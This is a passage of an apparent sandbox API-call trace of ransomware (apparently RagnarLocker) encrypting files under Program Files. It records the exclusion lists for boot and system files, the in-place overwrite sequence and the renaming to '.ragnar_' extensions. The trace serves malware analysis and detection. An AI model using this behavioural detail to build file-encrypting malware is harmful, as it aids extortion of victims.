(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0079.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0079.473] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=28974) returned 1 [0079.473] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7125, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.473] GetProcessHeap () returned 0x580000 [0079.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.473] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0079.474] VirtualAlloc (lpAddress=0x0, dwSize=0x712e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.475] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.475] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0079.475] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x712e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x712e, lpOverlapped=0x0) returned 1 [0079.476] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0079.476] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x712e, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.476] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x712e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x712e, lpOverlapped=0x0) returned 1 [0079.477] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x712e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.477] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.477] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x712e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.477] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.477] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.477] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.477] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0079.477] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.477] GetProcessHeap () returned 0x580000 [0079.477] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.477] CloseHandle (hObject=0x104) returned 1 [0079.477] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" [0079.477] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.ragnar_FD7BD9FC" [0079.477] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.478] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81995920, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.478] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0079.478] lstrcpyW (in: lpString1=0x1eab78, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.478] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.478] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.478] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0079.478] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0079.478] lstrcpyW (in: lpString1=0x1eab78, lpString2="sql2000.xsl" | out: lpString1="sql2000.xsl") returned="sql2000.xsl" [0079.478] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned=".xsl" [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="autorun.inf") returned 1 [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="boot.ini") returned 1 [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="bootfont.bin") returned 1 [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="bootsect.bak") returned 1 [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="bootmgr") returned 1 [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="bootmgr.efi") returned 1 [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="bootmgfw.efi") returned 1 [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="desktop.ini") returned 1 [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="iconcache.db") returned 1 [0079.478] lstrcmpiW (lpString1="sql2000.xsl", lpString2="ntldr") returned 1 [0079.479] lstrcmpiW (lpString1="sql2000.xsl", lpString2="ntuser.dat") returned 1 [0079.479] lstrcmpiW (lpString1="sql2000.xsl", lpString2="ntuser.dat.log") returned 1 [0079.479] lstrcmpiW (lpString1="sql2000.xsl", lpString2="ntuser.ini") returned 1 [0079.479] lstrcmpiW (lpString1="sql2000.xsl", lpString2="thumbs.db") returned -1 [0079.479] lstrcmpiW (lpString1=".xsl", lpString2=".db") returned 1 [0079.479] lstrcmpiW (lpString1=".xsl", lpString2=".sys") returned 1 [0079.479] lstrcmpiW (lpString1=".xsl", lpString2=".dll") returned 1 [0079.479] lstrcmpiW (lpString1=".xsl", lpString2=".lnk") returned 1 [0079.479] lstrcmpiW (lpString1=".xsl", lpString2=".msi") returned 1 [0079.479] lstrcmpiW (lpString1=".xsl", lpString2=".drv") returned 1 [0079.479] lstrcmpiW (lpString1=".xsl", lpString2=".exe") returned 1 [0079.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0079.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0079.480] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=34076) returned 1 [0079.480] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8513, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.480] GetProcessHeap () returned 0x580000 [0079.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.480] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0079.481] VirtualAlloc (lpAddress=0x0, dwSize=0x851c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.482] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.482] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0079.482] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x851c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x851c, lpOverlapped=0x0) returned 1 [0079.508] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0079.508] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x851c, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.509] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x851c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x851c, lpOverlapped=0x0) returned 1 [0079.509] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x851c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.509] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.510] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x851c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.510] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.510] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.510] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.510] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0079.510] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.510] GetProcessHeap () returned 0x580000 [0079.510] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.510] CloseHandle (hObject=0x104) returned 1 [0079.510] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" [0079.510] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.ragnar_FD7BD9FC" [0079.510] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.511] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0079.511] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0079.511] lstrcpyW (in: lpString1=0x1eab78, lpString2="sql70.xsl" | out: lpString1="sql70.xsl") returned="sql70.xsl" [0079.511] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned=".xsl" [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="autorun.inf") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="boot.ini") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="bootfont.bin") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="bootsect.bak") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="bootmgr") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="bootmgr.efi") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="bootmgfw.efi") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="desktop.ini") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="iconcache.db") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="ntldr") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="ntuser.dat") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="ntuser.dat.log") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="ntuser.ini") returned 1 [0079.511] lstrcmpiW (lpString1="sql70.xsl", lpString2="thumbs.db") returned -1 [0079.512] lstrcmpiW (lpString1=".xsl", lpString2=".db") returned 1 [0079.512] lstrcmpiW (lpString1=".xsl", lpString2=".sys") returned 1 [0079.512] lstrcmpiW (lpString1=".xsl", lpString2=".dll") returned 1 [0079.512] lstrcmpiW (lpString1=".xsl", lpString2=".lnk") returned 1 [0079.512] lstrcmpiW (lpString1=".xsl", lpString2=".msi") returned 1 [0079.512] lstrcmpiW (lpString1=".xsl", lpString2=".drv") returned 1 [0079.512] lstrcmpiW (lpString1=".xsl", lpString2=".exe") returned 1 [0079.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0079.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0079.513] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=32146) returned 1 [0079.513] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7d89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.513] GetProcessHeap () returned 0x580000 [0079.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.513] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0079.514] VirtualAlloc (lpAddress=0x0, dwSize=0x7d92, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.514] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.514] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0079.515] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7d92, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7d92, lpOverlapped=0x0) returned 1 [0079.516] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0079.516] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d92, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.516] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7d92, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7d92, lpOverlapped=0x0) returned 1 [0079.517] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.517] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.517] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7d92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.517] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.517] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.517] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.517] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0079.517] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.517] GetProcessHeap () returned 0x580000 [0079.517] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.517] CloseHandle (hObject=0x104) returned 1 [0079.517] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" [0079.517] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.ragnar_FD7BD9FC" [0079.518] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.518] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0079.518] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0079.518] lstrcpyW (in: lpString1=0x1eab78, lpString2="sql90.xsl" | out: lpString1="sql90.xsl") returned="sql90.xsl" [0079.518] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned=".xsl" [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="autorun.inf") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="boot.ini") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="bootfont.bin") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="bootsect.bak") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="bootmgr") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="bootmgr.efi") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="bootmgfw.efi") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="desktop.ini") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="iconcache.db") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="ntldr") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", 